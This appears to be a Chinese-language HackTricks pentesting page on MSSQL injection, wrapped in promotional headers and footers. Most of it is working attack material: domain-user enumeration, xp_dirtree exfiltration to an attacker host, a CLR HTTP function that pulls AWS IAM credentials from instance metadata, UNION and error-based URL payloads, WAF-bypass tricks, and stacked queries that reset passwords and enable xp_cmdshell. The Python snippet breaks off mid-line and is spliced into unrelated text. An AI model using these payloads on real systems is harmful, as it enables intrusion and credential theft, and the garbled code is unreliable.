# MSSQL 注入
从零到英雄学习 AWS 黑客技术,通过 htARTE (HackTricks AWS 红队专家) 支持 HackTricks 的其他方式: * 如果您想在 **HackTricks 中看到您的公司广告** 或 **下载 HackTricks 的 PDF 版本**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! * 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com) * 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFT 集合**](https://opensea.io/collection/the-peass-family) * **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上 **关注** 我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
## Active Directory 枚举 通过在 MSSQL 服务器中进行 SQL 注入,可能可以使用以下 MSSQL 函数**枚举域用户**: * **`SELECT DEFAULT_DOMAIN()`**:获取当前域名。 * **`master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator'))`**:如果您知道域的名称(本例中的 _DOMAIN_),此函数将以十六进制格式返回**用户 Administrator 的 SID**。这将类似于 `0x01050000000[...]0000f401`,注意**最后 4 个字节**是数字 **500** 以**大端**格式,这是**用户管理员常见的 ID**。\ 此函数将允许您**知道域的 ID**(最后 4 个字节除外)。 * **`SUSER_SNAME(0x01050000000[...]0000e803)`**:此函数将返回**指示 ID 的用户名**(如果有的话),在这种情况下 **0000e803** 以大端 == **1000**(通常这是第一个常规用户 ID 创建的 ID)。然后你可以想象,你可以从 1000 到 2000 暴力破解用户 ID,并可能获得域用户的所有用户名。例如,使用类似以下的函数: ```python def get_sid(n): domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236' user = struct.pack(' 您在使用MSSQL时最常见的进行网络调用的方法是使用存储过程`xp_dirtree`,奇怪的是这个过程没有被Microsoft记录,这导致它被[互联网上的其他人记录](https://www.baronsoftware.com/Blog/sql-stored-procedures-get-folder-files/)。这种方法已经在互联网上的[多个示例](https://www.notsosecure.com/oob-exploitation-cheatsheet/)中使用,用于[带外数据泄露](https://gracefulsecurity.com/sql-injection-out-of-band-exploitation/)的文章。 本质上, ```sql DECLARE @user varchar(100); SELECT @user = (SELECT user); EXEC ('master..xp_dirtree "\\'+@user+'.attacker-server\aa"'); ``` ```markdown 像MySQL的`LOAD_FILE`一样,你可以使用`xp_dirtree`发起网络请求到**仅限TCP端口445**。你无法控制端口号,但可以从网络共享中读取信息。 **PS:**这在默认配置的`Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64)`上运行于`Windows Server 2016 Datacenter`上时不起作用。 还有**其他**存储过程****[**如`master..xp_fileexist`**](https://social.technet.microsoft.com/wiki/contents/articles/40107.xp-fileexist-and-its-alternate.aspx)或**`xp_subdirs`**可用于获得类似结果。 ### `xp_cmdshell` 显然,你也可以使用**`xp_cmdshell`**来**执行**触发**SSRF**的操作。更多信息**阅读相关部分**在页面: {% content-ref url="../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/" %} [pentesting-mssql-microsoft-sql-server](../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/) {% endcontent-ref %} ### MSSQL 用户定义函数 - SQLHttp 编写**CLR UDF**(Common Language Runtime 用户定义函数 - 使用任何**.NET**语言编写并编译成**DLL**)并**在MSSQL中加载自定义函数**相当直接。然而,这**需要`dbo`访问权限**,所以除非Web应用程序连接到数据库**作为`sa`或管理员角色**,否则可能无法工作。 [这个Github仓库有Visual Studio项目和安装说明](https://github.com/infiniteloopltd/SQLHttp),用于将二进制文件加载到MSSQL作为CLR程序集,然后从MSSQL内部调用HTTP GET请求。 `http.cs`代码使用`WebClient`类发出GET请求并获取指定的内容 ``` ```csharp using System.Data.SqlTypes; using System.Net; public partial class UserDefinedFunctions { [Microsoft.SqlServer.Server.SqlFunction] public static SqlString http(SqlString url) { var wc = new WebClient(); var html = wc.DownloadString(url.Value); return new SqlString (html); } } ``` 在安装说明中,在执行 `CREATE ASSEMBLY` 查询之前,运行以下命令将程序集的 SHA512 哈希添加到服务器上的受信任程序集列表中(您可以使用 `select * from sys.trusted_assemblies;` 查看列表) ```sql EXEC sp_add_trusted_assembly 0x35acf108139cdb825538daee61f8b6b07c29d03678a4f6b0a5dae41a2198cf64cefdb1346c38b537480eba426e5f892e8c8c13397d4066d4325bf587d09d0937,N'HttpDb, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil'; ``` 一旦添加了程序集并创建了函数,我们可以运行以下命令来发出我们的HTTP请求 ```sql DECLARE @url varchar(max); SET @url = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/s3fullaccess/'; SELECT dbo.http(@url); ``` ## **快速利用:一次查询检索整个表** 存在两种简单的方法可以一次查询检索表的全部内容 — 使用 FOR XML 或 FOR JSON 子句。FOR XML 子句需要指定模式,如「raw」,因此就简洁性而言,FOR JSON 的表现更佳。 检索当前数据库的架构、表和列的查询: ``` https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,table_name,column_name),null+from+information_schema.columns+for+json+auto-- ``` ![](https://swarm.ptsecurity.com/wp-content/uploads/2020/11/5.png) 基于错误的向量需要一个别名或名称,因为没有别名或名称的表达式的输出无法格式化为JSON。 ``` https://vuln.app/getItem?id=1'+and+1=(select+concat_ws(0x3a,table_schema,table_name,column_name)a+from+information_schema.columns+for+json+auto)-- ``` ![](https://swarm.ptsecurity.com/wp-content/uploads/2020/11/7.png) ## **检索当前查询** 可以通过访问 `sys.dm_exec_requests` 和 `sys.dm_exec_sql_text` 来检索当前正在执行的SQL查询: ``` https://vuln.app/getItem?id=-1%20union%20select%20null,(select+text+from+sys.dm_exec_requests+cross+apply+sys.dm_exec_sql_text(sql_handle)),null,null ``` **权限:**如果用户在服务器上拥有 VIEW SERVER STATE 权限,用户将看到 SQL Server 实例上的所有执行会话;否则,用户只能看到当前会话。 ```sql # Check if you have it SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE'; ``` ## **WAF 绕过的小技巧** 非标准空白字符:%C2%85 或 %C2%A0: ``` https://vuln.app/getItem?id=1%C2%85union%C2%85select%C2%A0null,@@version,null-- ``` 科学记数法(0e)和十六进制(0x)表示法用于混淆 UNION: ``` https://vuln.app/getItem?id=0eunion+select+null,@@version,null-- https://vuln.app/getItem?id=0xunion+select+null,@@version,null-- ``` FROM 和列名之间使用句点而不是空格: ``` https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users-- ``` \N 分隔符用于 SELECT 和一个无关紧要的列之间: ``` https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users-- ``` ### 使用非正统堆叠查询绕过WAF 根据[**这篇博客文章**](https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/),在MSSQL中可以不使用";"来堆叠查询:
例如,多个查询如下: ```sql use [tempdb] create table [test] ([id] int) insert [test] values(1) select [id] from [test] drop table[test] ``` 可以简化为: ```sql use[tempdb]create/**/table[test]([id]int)insert[test]values(1)select[id]from[test]drop/**/table[test] ``` 因此,有可能绕过不同的WAF,因为它们没有考虑这种形式的堆叠查询。例如: ``` # Adding a useless exec() at the end and making the WAF think this isn't a valid querie admina'union select 1,'admin','testtest123'exec('select 1')-- ## This will be: SELECT id, username, password FROM users WHERE username = 'admina'union select 1,'admin','testtest123' exec('select 1')--' # Using weirdly built queries admin'exec('update[users]set[password]=''a''')-- ## This will be: SELECT id, username, password FROM users WHERE username = 'admin' exec('update[users]set[password]=''a''')--' # Or enabling xp_cmdshell admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')-- ## This will be select * from users where username = ' admin' exec('sp_configure''show advanced option'',''1''reconfigure') exec('sp_configure''xp_cmdshell'',''1''reconfigure')-- ``` ## 参考资料 * [https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/) * [https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/](https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/)
通过 htARTE (HackTricks AWS Red Team Expert)从零开始学习AWS黑客技术! 其他支持HackTricks的方式: * 如果您希望在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com) * 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family) * **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。